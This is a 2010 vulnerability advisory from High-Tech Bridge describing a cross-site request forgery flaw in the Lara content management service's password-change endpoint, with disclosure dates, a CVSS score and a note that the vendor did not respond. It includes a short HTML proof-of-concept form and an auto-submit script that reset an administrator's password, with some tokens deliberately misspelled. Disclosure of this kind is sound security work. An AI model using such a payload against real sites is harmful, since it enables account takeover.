Total Tests:

Cross-site Request Forgery (CSRF) in Lara

Advisory ID:HTB22619
Product:Lara
Vendor:Geographical Media
Vulnerable Versions:Current on 18.09.2010 and probably prior
Tested Version:Current on 18.09.2010
Advisory Publication:September 27, 2010 [without technical details]
Vendor Notification:September 27, 2010
Public Disclosure:October 11, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Lara which could be exploited to perform cross-site request forgery attacks.

1) Cross-site Request Forgery (CSRF) in Lara
The vulnerability exists due to insufficient validation of the request origin in _ui/changepassword. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s password.
Exploitation example:
<form method="POST" name="m" action="http://host//_ui/changepassword?method=UpdatePassword&type=get">
<i nput type="hidden" name="MediaId" value="4f90f994-3fd0-4a02-818d-05ce325d0fb1"> <!-- this is statick value -->
<input type="hidden" name="Password" value="1111">
</form>
<script>
do0cement.m.submit();
</script>

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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22619 - https://www.immuniweb.com/advisory/HTB22619 - Cross-site Request Forgery (CSRF) in Lara
[2] Lara - getlara.com - Lara is a hosted content management service which provides you with all the tools required to design, build and grow a website for your business, blog or portfolio in less time and with less money.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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